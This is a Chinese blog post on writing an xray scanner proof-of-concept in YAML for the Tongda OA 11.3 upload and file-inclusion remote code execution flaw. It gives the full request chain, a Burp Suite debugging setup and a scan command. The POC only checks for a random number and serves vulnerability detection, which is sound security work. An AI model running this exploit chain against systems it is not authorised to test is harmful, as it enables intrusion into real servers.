List:

1 前言
2 阅读官方文档
3 编写的POC示例
3.1 通达OA-RCE-POC示例
3.2 使用Burpsuite调试POC
3.3 贡献POC流程


0x1 前言

xray 由 go 编写的安全评估工具。

该工具可以节省工作中大量的重复及造轮子行为,可以节省大量的时间。
xray 中的 poc 是通过 YAML 编写非常简洁。

Tips: xray 还有内置的 poc,使用 go 编写,可参考 xray 的 config.yaml 配置文件。

本文记录个人为 xray 编写 tongda-oa-rce poc 的步骤。


0x2 阅读官方文档

如何高效率编写 POC ,其中参考如下链接:
https://docs.xray.cool/#/guide/high_quality_poc
https://paper.seebug.org/9/

参考 xray 仓库内其他工程师编写的 POC:
https://github.com/chaitin/xray
https://github.com/chaitin/xray/tree/master/docs


0x3 编写的POC示例

3.1 通达OA-RCE-POC示例

tongda-oa-rce.yml

name: poc-yaml-tongda-oa-rce
set:
  rand: randomInt(200000000, 210000000)
rules:
  - method: POST
    path: /ispirit/im/upload.php
    headers:
      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
      Content-Type: >-
        multipart/form-data;charset=utf-8;boundary=---------------------------27723940316706158781839860668
      Accept-Encoding: 'deflate'
    body: |-
      -----------------------------27723940316706158781839860668
      Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
      Content-Type: image/jpeg

      {{rand}}
      -----------------------------27723940316706158781839860668
      Content-Disposition: form-data; name="P"

      {{rand}}
      -----------------------------27723940316706158781839860668
      Content-Disposition: form-data; name="DEST_UID"

      {{rand}}
      -----------------------------27723940316706158781839860668
      Content-Disposition: form-data; name="UPLOAD_MODE"

      1
      -----------------------------27723940316706158781839860668
    follow_redirects: false
    expression: |
      response.status == 200
    search: (?P<dirname>200\d)_(?P<filename>\d+)
  - method: POST
    path: /ispirit/interface/gateway.php
    headers:
      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
      Content-Type: 'application/x-www-form-urlencoded'
      Accept-Encoding: 'deflate'
    body: |
        json={"url":"../../../general/../attach/im/{{dirname}}/{{filename}}.jpg"}
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string(rand)))
detail:
  author: 清风明月(www.secbook.info)
  demo_tongda_version: 'tongda-oa-11.3'
  links:
    - https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe
    - https://www.anquanke.com/post/id/201174
    - https://github.com/fuhei/tongda_rce/blob/master/tongda_rce.py

3.2 使用Burpsuite调试POC

在配置文件 http 段中加入 proxy: "http://proxy:port",比如设置 burpsuite 为代理,这样 poc 发送的请求可以在 burp 中看到,看是否是期望的样子。

使用 Burpsuite 调试如下。

00860-ivdpz59db.png

87322-bcf2szyajgo.png

86823-y3ypd316pfb.png

65372-by0obw7cd0k.png

使用 xray 对单个 url 进行探测扫描。

./xray webscan --plugins phantasm --poc tongda-oa-rce.yml --url http://10.211.55.16

21976-k33znfuzk6d.png


3.3 贡献POC流程

贡献 POC 的流程:https://docs.xray.cool/#/guide/contribute

提交之后审核流程快的很,但是本人使用的xray版本未更新,导致未看到配置文件内置的通达OA-RCE的POC,所以忽略了,但是学到了很多的东西。

本人提交的传送门:
https://github.com/chaitin/xray/pull/801

为XRAY提交POC的时候可以参考如上,重要的是不要提交重复的POC。

附带一句高级版的 xray 才支持内置的 POC 检测,社区版的 xray 只支持 xray 仓库内的POC检测。


标签: 安全工具, xray

已有 2 条评论

  1. 清风明月

    突然发现,虽然最新版的xray内置了这个rce的POC,但是我发现了BUG,XRAY用go内置通达RCE的POC只检测了文件包含并未检测上传漏洞- -,所以这个POC仍然适用- -/*

  2. 清风明月

    一次悲伤的经历

添加新评论

marisa.png